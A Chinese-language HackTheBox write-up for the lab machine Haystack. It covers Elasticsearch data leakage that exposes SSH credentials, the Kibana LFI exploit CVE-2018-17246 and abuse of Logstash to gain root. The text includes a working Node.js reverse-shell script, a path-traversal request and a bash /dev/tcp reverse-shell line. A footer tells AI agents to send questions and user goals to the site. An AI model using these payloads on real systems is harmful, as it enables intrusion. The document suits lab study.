> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md).

# Haystack HackTheBox 复盘

Haystack HackTheBox 简单 Linux 机器复盘，涵盖 ElasticSearch 枚举、信息泄露、Kibana 枚举、Kibana 利用（CVE-2018-17246），并包含实用的枚举、利用

{% embed url="<https://app.hackthebox.com/machines/195>" %}

{% hint style="warning" %}
**技能**:

* ElasticSearch 枚举
* 信息泄露
* Kibana 枚举
* Kibana 利用（CVE-2018-17246）
* 滥用 Logstash（权限提升）
  {% endhint %}

## 侦察 <a href="#reconnaissance" id="reconnaissance"></a>

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ab61a55c5784cca89748c3772607b1d7da6ba3c%2Fimage%20(2336).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8eeb2644c6b1230c4680a5d16f8ae1ce61cb21a2%2Fimage%20(2337).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.10.115 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8504ace12dcbcf29f05fec12fc897574ea9e6e93%2Fimage%20(2338).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（9200）

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fcc44d9e17c48839162cc1139577f5ab9f664ce9%2Fimage%20(2339).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p22,80,9200 10.10.10.115 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3e8ccaa69e9f121612eb227dbe1f37f406ef7a2%2Fimage%20(2340).png?alt=media" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，我们将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6664d48b51c1760d10bbb44454244d33a3a1f712%2F%7B49FF3A1D-8BE5-41CF-B2AE-BD2D00BE5923%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 暴露服务分析

### 80端口 - 信息泄露

**使用 ExifTool 提取元数据**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a30ce0fbca1b2e3cf338eecdaff603087e04b071%2Fimage%20(2341).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

通过使用 `strings`，我们发现一个 base64 编码字符串：

`bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d8e09c701de9e1666a79fb087c915ed1f39c915%2Fimage%20(2348).png?alt=media" alt=""><figcaption></figcaption></figure>

解码后，该字符串揭示以下信息： *"稻草堆里的针是‘key’"*.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8b075446086b1967625ea21e6f3d2a43f5468d5e%2Fimage%20(2349).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Elasticsearch - 信息泄露

#### 9200 端口运行着 ElasticSearch 6.4.2 版本。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-845fb1672437b01cefd0b2d0d8a5ef12fe5873b5%2Fimage%20(2346).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

{% hint style="info" %}
Elasticsearch 是一个实时搜索和分析引擎，用于快速索引和搜索海量数据。它集成到 ELK 技术栈中，提供高级数据可视化和分析功能。
{% endhint %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6fa307777b94d07df14f3a092c87293f442f19c%2Fimage%20(2342).png?alt=media" alt=""><figcaption></figcaption></figure>

通过访问 `/_cat/indices?` URL，我们获得了包含各自 UUID 的索引列表。要提取某个索引的内容，我们使用以下 URL：

`http://haystack.htb:9200/<index>/_search?pretty=true&size=1000`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d67ff3ba6fb8ae20077e89f3264944303a23fe19%2Fimage%20(2350).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Curl 过滤数据**

使用索引 `quotes` 并按挑战关键字进行过滤后，找到了相关信息：

```bash
curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c07fc40eea9a17fe56fb69b73a5f6218e2804a4b%2Fimage%20(2351).png?alt=media" alt=""><figcaption></figcaption></figure>

**解码 Base64 编码字符串**

我们得到了两个 base64 编码字符串，解码后会揭示身份信息：

```bash
echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo
echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc8b39a983eb79b8bb21141eb943bc402c34642a%2Fimage%20(2347).png?alt=media" alt=""><figcaption></figcaption></figure>

**用户：** `security`/ **密码：** `spanish.is.key`

### SSH 连接

使用获取到的凭据，我们通过 SSH 连接到目标机器并访问用户：

```bash
ssh security@10.10.10.115
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd92ae336f22569651d3efed74d68ffff5182cc4%2Fimage%20(2352).png?alt=media" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-450a00123bc8acc2584696c0f3a9954b7e9d365b%2Fimage%20(2353).png?alt=media" alt="" width="520"><figcaption></figcaption></figure>

**一旦你可以访问 Linux 服务器，以下是在终端中执行的命令：**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

**这将使你工作得更加高效，最重要的是，更加舒适。**

## 权限提升：

### Kibana（端口转发）

**步骤 1：识别开放端口**

首先，我们使用以下命令查看内部开放端口：

```bash
netstat -nltp
```

我们注意到端口 **5601** 引起了我们的注意。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-86fa323dcdf703e71ae6c028f5f574ede193f655%2Fimage%20(1195).png?alt=media" alt=""><figcaption></figcaption></figure>

通过对这个端口执行一次 `curl` 请求，我们从 Kibana 获取到一个 HTML 页面：

{% hint style="info" %}
**Kibana** 是 Elasticsearch 的开箱即用数据可视化仪表板软件
{% endhint %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4185365ccfcb8c99b230084fa86018162e03126b%2F%7B05AA9A2D-D25F-4DC0-9821-C58BB7E41347%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**步骤 2：将端口转发以访问 Kibana**

我们将把服务器的内部端口 **5601** 重定向到我们的本地机器，以便通过浏览器访问。该重定向可以通过 SSH 使用以下命令完成：

```bash
ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N
```

这会将目标机器的本地 5601 端口转发到我们自己机器的 5601 端口，从而允许直接访问

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-659f17643a67378ea84165f840fb03c58c57bbb3%2Fimage%20(1196).png?alt=media" alt=""><figcaption></figcaption></figure>

**步骤 3：检查 Kibana 版本**

通过访问 `http://localhost:5601/api/status`，我们观察到 Kibana 的版本号： **6.4.2**。该版本易受一种 **本地文件包含（LFI）** 攻击影响，标识为 **CVE-2018-17246**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-713508fea4c266675af9a04b46f3b254116a2f53%2Fimage%20(1197).png?alt=media" alt=""><figcaption></figcaption></figure>

### Kibana 利用（CVE-2018-17246）

{% embed url="<https://github.com/mpgn/CVE-2018-17246>" %}

**步骤 4：利用该漏洞**

为了利用这个漏洞，我们将创建一个 JavaScript 文件来实现反向 shell。在目标机器的 `/tmp` 目录中，创建一个名为 `rev.js` 的文件，内容如下：

<pre class="language-javascript"><code class="lang-javascript"><strong>function(){
</strong>    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // 防止 Node.js 应用程序崩溃
})();
</code></pre>

该脚本会在你的机器上与端口 **443** 建立连接，以打开一个 shell。

**步骤 5：将流重定向到文件**

然后将流重定向到 `/dev/shm/rev.js` 文件，使用以下命令：

```bash
curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js"
```

**步骤 6：在端口上监听反向 shell**

在你的机器上，在端口 **443** 上启动监听器，以捕获反向 shell：

```bash
nc -nlvp 443
```

一旦登录，你将会在目标机器上获得一个 shell，从而可以进行权限提升。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ac64b6e916dab5303c712cc4eb5e66598d95d46%2Fimage%20(1198).png?alt=media" alt=""><figcaption></figcaption></figure>

## 滥用 Logstash

我们搜索所有可由用户访问的文件 `kibana`:

```bash
find / -user kibana 2>/dev/null | grep -vE "usr|var|proc"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-73161380fb34491f0df060d7c8b19ae80db64957%2Fimage%20(1190).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

通过访问 Logstash，我们发现了三个配置文件：

* `filter.conf`
* `input.conf`
* `output.conf`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c297497d3d111cc5aba1e926db5e4027fb68bdb9%2Fimage%20(1191).png?alt=media" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
总之，Logstash 运行一个 cron 任务，每 10 秒检查一次名为 `logstash_*` 的文件是否存在于 `/opt/kibana/` 目录中。如果找到匹配的文件，并且其中包含具有特定输入的命令，格式如下：
{% endhint %}

`"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9acf8ca93a072d4f3aa97b8886ec096ae5ff46e2%2Fimage%20(1192).png?alt=media" alt=""><figcaption></figcaption></figure>

为了利用这个漏洞，我们创建一个名为 `logstash_exec` 位于 `/opt/kibana/` 的目录，内容如下：

```bash
bash -i >& /dev/tcp/10.10.14.7/4444 0>&1
```

接下来，我们监听 4444 端口，并获得 root 权限。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19b20733a0bcd35368dcc81babd07f4bba97a316%2Fimage%20(1193).png?alt=media" alt=""><figcaption></figcaption></figure>

### root flag :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b831c5ad7b23104dab9b52d6eb8ac1e96c3910f%2Fimage%20(1194).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-802cb7937b0258c36aa4603e11050b0d0e512236%2F%7B9B8FBFCC-DFEE-4913-A59A-DEF636B4E84F%7D.png?alt=media" alt="" width="522"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
